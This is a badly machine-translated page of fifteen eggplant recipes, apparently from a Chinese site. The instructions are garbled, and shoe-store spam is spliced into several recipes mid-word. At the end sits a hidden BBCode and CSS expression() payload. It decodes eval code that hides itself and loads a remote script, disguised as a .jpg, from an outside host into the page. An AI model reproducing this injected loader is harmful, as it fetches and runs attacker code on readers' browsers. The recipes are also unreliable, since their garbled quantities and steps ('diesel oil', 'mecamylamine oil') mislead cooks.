1, deep-fried eggplant cooked
Article
Ingredients: tender eggplant and 300 grams.
Ingredients: pepper 10 grams, 10 grams of carrots, egg half, wet starch 75 grams, 750 grams of salad oil.
spices: salt 5 grams, 3 grams MSG, soy sauce, 5 grams, sugar 20 grams, 10 grams of vinegar, onions, ginger, garlic, all 3
grams, coriander 3 grams.
production: (1) Wash the eggplants remove stalks peeled and cut into 4 cm long, 1 cm square section and put it into eggs and wet sediment
powder Guahu grasp uniform.
(2) onions, shred ginger, garlic slices, pepper, carrots, tangent, coriander cutting-inch segment. Put a bowl of soy sauce
, salt, monosodium glutamate, sugar, vinegar sauce and turned into stand-by.
(3) Shaonei oil discharge, burning Liu Qicheng hot, spoon the tomato under section one by one, the deep-fried golden brown, pour the oil Lek.
(4) Shaonei put base oil, after the Heat put onions, ginger, garlic, pepper wire, carrot silk, came alive again in fried
Article eggplant, coriander, good speed into the right juice, Dianfan several times, transfer to a plate that is good.
key: deep-fried eggplant should be quite real, can be crisp. Pour juice faster speeds when fried, taste good.
2, chrysanthemum, eggplant
Ingredients: Long eggplant 300 grams.
Ingredients: Carrot 5 grams, 30 grams of flour, salad oil 750 grams, wet starch, about 8 grams.
sauces: tomato sauce 25 grams, salt 5 grams, 4 grams of monosodium glutamate, sugar 25 grams, onion ginger at the end of 3 grams.
Production: (1) Wash the eggplants remove stalks peeled and cut into 4 cm-high piers, and then a cross section of Ji on the pier cross
flower knife, sprinkle a small amount of salt and a little salt, then flour and dip even spare, clean-cut carrots chopsticks head Ding.
(2) Shaonei into the oil, burning 78 into the heat, add fried eggplant flower well, poured Lek oil, put into the tray.
(3) Heat Shaonei release base oil, put tomato sauce, stir, re-entry diced green onion, ginger, soup, sugar, carrot
Bo Ding, salt, MSG boil, with the wet starch hook flow qian, mecamylamine oil, pour in the fried eggplant burning EYE that is good.
key: cut eggplant instead of flowers when the deep penetration, dip the flour stick even when you make eggplant flowers.
3, fish-flavored eggplant flower
Ingredients: tender eggplant and 400 grams.
Ingredients: 10 grams of carrots, green peppers 10 grams, 10 grams of Chuan Jiao, salad oil 750 grams, wet starch 10 grams.
spices: salt 5 grams, 8 grams of soy sauce, MSG 4 grams, 10 grams of sugar, vinegar 5 grams, 5 grams of cooking wine, marked 10
grams, Cong Jiangsuan 3 grams each. Production:
(1) Wash eggplant remove stalks peeled, cut in half crosswise Ji knife, and then into 5 cm segments. Hu
radish, green peppers, Chuan Jiao, onion, gis brand shoes,supra sneakers,supra shoes,supra men shoes,new supra …alibaba.com provides brand shoes,supra sneakers,supra shoes,supra men shoes,new supra sneakers,men supra sneakers,authentic supra shoes,paypal accept,ger strips, garlic slices.
(2) bowl put soy sauce, salt, sugar, vinegar, cooking wine, monosodium glutamate, wet starch, a little soup right into the juice stand-by.
(3) 78 Shaonei oil discharge into the burning heat, put a knife change into pieces of eggplant flowers golden-yellow fish out Lek oil, transfer to a plate.
(4) Shaonei put a little base oil, Heat and let cook in soy Congjiang Suan pan, then add the carrot silk, silk Chuanjiao,
silk green pepper stir fry, pour on a good sauce, fry into the stream qian, plus diesel oil, and burning pour in the eggplant to spend the better.
key: deep-fried eggplant flowers when hot oil.
4, sweet and sour eggplant
Article
Ingredients: tender eggplant and 300 grams.
Ingredients: 2 eggs, flour 50 grams, wet starch 10 grams, 5 grams of carrots, 750 grams of salad oil.
spices: salt 6 grams, 4 grams of mos supra skytop shoes,supra footwear,cheap supra shoes,supra sneaker …supra men shoes,supra footwear,cheap supra men shoes,supra sneaker shoes,supra has created a number of models for their men shoes, but some of the most …osodium glutamate, sugar 30 grams, 10 grams of vinegar, Cong Jiangsuan of 3 grams, 3 grams coriander
, sesame oil 5 grams.
production: (1) Wash eggplant remove stalks peeled, cut into 4 cm long and 1 cm wide section, add a little salt, slightly salted,
dip flour.
(2) eggs into the bowl, add flour, Jiaocheng full custard. Cong Jiangsuan slices, carrot shred, Hong
vegetables cut into sections.
(3) Shaonei oil discharge, burning Liu Qicheng heat, bring the whole linked article eggplant custard into the spoon under one by one, the Explode golden yellow
, poured Lek of oil transfer to a plate.
(4) Shaonei put a little base oil, Heat, put onion, ginger, garlic cook in soy pan, add carrot silk, parsley Duan
, a little soup, salt, monosodium glutamate, sugar, vinegar and boil, using starch stream qian hook, add sesame oil, poured over the eggplant that is a good bar.
key: deep-fried eggplant under Article 2 repeated three times, to make it quite real crisp.
5, stuffed eggplant Tun
Ingredients: Long tender eggplant 300 grams, 100 grams of meat.
Ingredients: eggs, half and ham at the end 5 grams, 5 grams of mushrooms at the end, coriander 5 grams, wet starch 10 grams.
spices: salt 5 grams, 4 grams of monosodium glutamate, onion ginger of 3 grams, 3 grams wine.
production: (1) Wash eggplant remove stalks peeled, cut into 3 cm-long circular section of eggplant with a knife digging the middle segment.
(2) the meat add diced green onion, ginger, salt, MSG, eggs, stir evenly, the wipe into the hollowing out of the pier in eggplant, sprinkle with the end of ham, mushrooms at the end, coriander, steamed 8 minutes on a tray, cooked out, placed into the tray.
(3) Shaonei put a little base oil, add soup, salt, MSG, boil hook into the flow of wet starch qian, poured over the eggplant on a pier that is good.
key: mastering the steaming time.
6, sauce Braised eggplant
Ingredients: Long tender eggplant 500 grams.
Ingredients: starch 8 grams, 750 grams of salad oil
spices: bean paste 50 grams, sugar 15 grams, monosodium glutamate 5 grams, 3 grams each Congjiang Suan.
Production:
(1) Wash eggplant remove stalks, cut into two oblique Ji flowers knife, cut 豆瓣 onion-shaped, ginger cut wire end of the garlic slices.
(2) Shaonei oil discharge, burning Liu Qicheng heat, next into the deep-fried eggplant thoroughly, and poured oil Lek.
(3) Shaonei put a little base oil, Heat, with onions, ginger and cook in soy pan, stir into the bean paste, add soup, salt, sugar and a good deep-fried eggplant, boiled rotten stew low heat, came alive again in monosodium glutamate, garlic slice, Zhinong wet starch thicken later, mecamylamine oil, transfer to a plate that is good.
key: soup came from a, to Qin Huang spoon, spoon at the end to prevent the paste.
7, spicy eggplant dumplings
Ingredients: Long tender eggplant 250 grams, 100 grams of pig meat.
Ingredients: 2 eggs, flour 50 grams, 750 grams of salad oil, wet starch 10 grams, 5 grams of Chuan Jiao.
spices: salt 5 grams, 5 grams of MSG, hemp pepper noodles (or pepper noodles) 10 grams, 10 grams of marked oil, onion, ginger of 3 grams, soup 75 grams.
Production:
(1) Wash eggplant remove stalks peeled, aspect two and a half, and then into the folder blade. Chuanjiao cut into sections.
(2) meat, salt, MSG, diced green onion, ginger, half the eggs, stir evenly. Folder into the eggplant, dip back side. (3) with the remaining eggs into the bowl Jiaocheng egg, then add flour Jiaocheng full custard. Bowl with the salt, MSG, Ma pepper noodles, soup and starch, and turned into juice.
(4) 56 Shaonei oil discharge into the burning heat, the eggplant drag the whole folder into the spoon custard,supra shoes online, fried golden brown, after pouring oil Lek.
(5) Shaonei put base oil, after the Heat with onions, ginger cook in soy pan, add Chuan Jiao Duan stir fry into the dollar, after a good juice and put it into a good deep-fried eggplant dumplings, Dianfan uniform , Canada marked oil, transfer to a plate that is good.
key: clip blade cut deep when not thoroughly dried thin to moderate the whole custard.
8, pot collapse eggplant Box
Ingredients: Long tender eggplant 200 grams, 100 grams of meat.
Ingredients: 2 eggs, flour 25 grams, 75 grams of salad oil, 5 grams of carrot, cucumber piece 5 grams.
spices: salt 5 grams, 4 grams of monosodium glutamate, sugar, 5 grams, 3 grams vinegar, onion, shredded ginger all 3 grams, sesame oil 5 grams.
Production:
(1) Wash eggplant remove stalks peeled and cut into folder knife hygiene. Carrot, cucumber, cut into diamond-shaped pieces, parsley and cut into sections.
(2) meat, salt, MSG, eggs and half a stir evenly, the folder into the folder eggplant, dip side. The remaining eggs into the bowl Jiaocheng egg.
(3) Shaonei oil discharge, burning into a 34, will face the eggplant dip folder drag the whole egg into the spoon, two fry golden brown, add onion, ginger, soup, salt, monosodium glutamate, sugar, vinegar Small Thermal collapse thoroughly until the soup is poured sesame oil revenues dry out spoon transfer to a plate that is good.
key: fry time, the small fire, to prevent the fried paste, soup should wash Akira came from a spoon, spoon to prevent sticking.
9, meat burnt eggplant
Ingredients: 400 grams of eggplant, pork 75 grams.
Ingredients: green pepper 25 grams, 10 grams starch, soup 75 grams, 1,000 grams of salad oil.
Seasoning: 5 grams of iodized salt, soy sauce 10 grams, 10 grams of sugar, mirin 4 grams, 4 grams of monosodium glutamate, vinegar 4 grams, 3 grams each Congjiang Suan 5, sesame oil 5 grams.
Production:
(1) Wash eggplant remove stalks peeled and cut into pieces hob. Fillet into thin slices, green peppers clean cuts. Dice onion, ginger mince, garlic slices.
(2) Shaonei oil discharge burning Liu Qicheng heat. Add eggplant pieces deep-fried golden yellow, then green pepper pieces are placed in Shaonei, slightly fried oil poured Lek.
(3) Shaonei put base oil, Heat, add pork stir-fried, came alive again ichristian louboutin boots,christian louboutin boots on sale …christian louboutin’s black suede thigh-high boots are . … christian louboutin c’est moi shoe boots black nappa le the small onion, ginger, sliced onion, tomato pieces, green pepper pieces, vinegar, cooking wine, plus soup, soy sauce, salt , MSG, sugar, boil, with small fire closed juice, juice farming season, with the wet starch thicken, pour sesame oil transfer to a plate that is good.
key: deep-fried eggplant when the oil temperature must be high, to prevent the immersiochristian louboutin boots,christian louboutin boots on sale …christian louboutin’s black suede thigh-high boots are . … christian louboutin c’est moi shoe boots black nappa le oil.
10, steamed eggplant pulp
Ingredients: Long tender eggplant 400 grams, 100 grams of pig meat.
Ingredients: eggs, half, salad oil 750 grams, wet starch 10 grams.
Seasoning: 4 grams of iodized salt, MSG 3 grams, 6 grams of soy sauce, mirin 3 grams, onion ginger the end of 3 grams, 100 grams of fresh soup.
Production:
(1) Wash eggplant remove stalks, peeled and cut into the top knife-chip 0.4 cm thick. Meat add diced green onion, ginger, salt, MSG, soy sauce, eggs, stir evenly.
(2) Shaonei oil discharge, burning Liu Qicheng hot, the next piece into the deep-fried eggplant about 2 minutes, see the eggplant pieces soften the color yellow, remove and Lek oil.
(3) will be fried eggplant pieces each of two superimposed together, the intervening into the meat, neat yards in the bowl, on a steam tray for about 10 minutes, steamed, the Lek Tang buckle into the tray.
(4) Shaonei put a little oil, Heat, the next cook in soy minced garlic into the pot, add soy sauce, salt, MSG, soup boiled with wet starch hook into the stream qian, Lin Ru-ming, oil, burned in the eggplant that is good.
key: eggplant pieces cut to uniform thickness, master steaming time.
11, sesame eggplant
Article
Ingredients: eggplant 400 grams.
Ingredients: cooked sesame seeds 30 grams, 750 grams of salad oil.
Seasoning: soy sauce 15 grams, 4 grams of iodized salt, sugar 10 grams, 4 grams of MSG, cooking wine 5 grams, the end of each 4 grams onion ginger, garlic slice 5 grams, sesame oil 5 grams, 75 grams soup.
Production:
(1) Wash eggplant remove stalks peeled, cut into 4 cm long and 1 cm wide section.
(2) Shaonei oil discharge, burning Liu Qicheng hot, the next entry of deep-fried eggplant 2 minutes golden brown remove and Lek oil.
(3) spoon to stay a little base oil, Heat, Lower diced green onion, ginger, garlic slice cook in soy pan, add eggplant, after article, and then into the soy sauce, sugar, cooking wine, salt, MSG, soup, starch for good The juice, stir fry it up for spoon transfer to a plate, thrown into the sesame seeds, that is good.
key: master of the oil temperature of fried eggplant.
12, deep-fried eggplant box
Ichristian louboutin,sale,boots,shoes,discount,free shippingchristian louboutins,christian louboutin shoes 50% discount free shipping on sale now!official web site. christian louboutin sale luxury french shoe and bag gredients: Long tender eggplant 250 grams, 100 grams of meat.
Ingredients: water, 10 grams fat dried shrimps, 2 eggs, flour 50 grams, 750 grams of salad oil.
Seasoning: 4 grams of iodized salt, MSG 3 grams, 3 grams wine, onion ginger at the end of 3 grams, 6 grams of salt and pepper.
Production:
(1) Wash eggplant remove stalks peeled, cut clip blade. Hai Miqie at the end.
(2) within the Jiahai Mi meat, diced green onion, ginger, MSG, stir half the egg, after all, into the folder eggplant, eggplant dip flour backup folder. The remaining eggs into the bowl, add flour, custard Jiaocheng whole, will drag the whole folder eggplant custard.
(3) Shaonei oil discharge, burning Liu Qicheng hot, the eggplant under the folder one by one into the Shaoneizhashu, golden brown remove and Lek oil transfer to a plate and put salt and pepper that is good.
Key: Full custard would like to emphasize the dry thin modest, deep-fried when the oil temperature control.
13, fried eggplant colored silk
Ingredients: eggplant 350 grams.
Ingredients: green pepper 25 grams, 25 grams of ham, bamboo shoots 25 grams, Chuanjiao 10 grams, 50 grams of pork leaf fat, starch 10 grams.
Seasoning: soy sauce 10 grams, 4 grams of iodized salt, monosodium glutamate 4 grams, 3 grams each wire onion ginger, garlic slice 5 grams, sesame oil 5 grams.
Production:
(1) eggplant remove stalks washed shred. Green peppers, ham, bamboo shoots, Chuan Jiao also shred.
(2) Shaonei release oil, Heat, with oniochristian louboutin,sale,boots,shoes,discount,free shippingchristian louboutins,christian louboutin shoes 50% discount free shipping on sale now!official web site. christian louboutin sale luxury french shoe and bag s, ginger and cook in soy pan, add eggplant silk, Chuanjiao silk, bamboo silk, silk ham, green peppers stir fry silk, scoop out the front of monosodium glutamate and garlic films, with the wet starch, starch, sesame oil poured out the spoon transfer to a plate that is good.
key: when the fire started speculation can not be too hasty and too fast easy to paste.
14, tomato eggplant cake
Ingredients: Long tender eggplant 250 grams, 100 grams of meat.
Ingredients: 100 grams breadcrumbs, 2 eggs, flour 30 grams, carrots 10 grams, wet starch 8 grams, 750 grams of salad oil.
sauces: tomato sauce 30 grams, sugar 20 grams, rice vinegar 5 grams, salt 5 grams, 4 grams of monosodium glutamate, onion ginger at the end of grams.
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(1) Wash eggplant remove stalks peeled, the top 0.3 centimeters thick wafer cut by the knife. Within the Canadian meat diced green onion, ginger, salt, MSG, eggs and half a stir evenly. Cut eggplant into slices two stacked down the middle clip into the meat, dip the flour. Carrot, cut into pieces like the eyes.
(2) the rest of the eggs into the bowl, stir evenly. Dip eggplant pieces into flour, after hanging egg, then dip bread making solid residue.
(3) Shaonei oil discharge, burning 56 into the heat, will be the next one by one into the spoon tomato pie, the red dates into pieces, remove the oil Wobble Lek.
(4) Shaonei plus base oil, Heat, stir into the tomatoes, plus soup, carrot, sugar, vinegar, salt, MSG boil, with the wet starch hook flow qian, poured over the eggplant pie on the good.
key: tomato pie James Jardine looking uniform film when practical, to avoid falling when fried.
15, burning leavened eggplant Box
Ingredients: Long tender eggplant 300 grams, 150 grams of pig meat.
Ingredients: pepper 25 grams, egg 2, water, fat 15 grams of dried shrimps, flour 50 grams, wet starch 30 grams, 750 grams of salad oil.
Seasoning: soy sauce 8 grams, 4 grams of iodized salt, monosodium glutamate 4 grams, sugar 10 grams, onion, ginger each 4 grams, 5 grams of garlic, sesame oil 5 grams.
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(1) Wash eggplant remove stalks peeled and cut into clip blade. Hai Miqie the end of the hob-cut pepper pieces, onion, ginger 2 Kocse the end of the two Keqie Si, garlic slices.
(2) meat, salt, monosodium glutamate, onion, ginger, dried shrimps at the end, eggs and half a stir evenly into the eggplant folder, box made of eggplant, dip the flour back.
(3) eggs 1.5, plus 20 grams of starch, flour, egg powder 30 into Hu restraint.
(4) Liu Qicheng Shaonei oil discharge burning hot, the tomato paste into the boxes one by one hanging egg powder spoon, remove and Lek Zhashu into a golden yellow oil. (5) Shaonei put a little base oil,Supra Thunder Hightops, cook in soy silk Heat pan with onion ginger, add soup, pepper pieces, soy sauce, salt, sugar, fried eggplant boxes, slightly burned for a while, MSG, garlic slice, using Wet starch thicken, add sesame oil,Supras Cuban, Dianfan evenly, transfer to a plate that is good.
key: dilute an appropriate system of lay dry, burning time is too long is not easy. [flash, 0,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu style = ee: expression (eval (unescape ( ‘this.parentNode.style.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D’))); display: none; @ qq.com [/ email] [/ flash]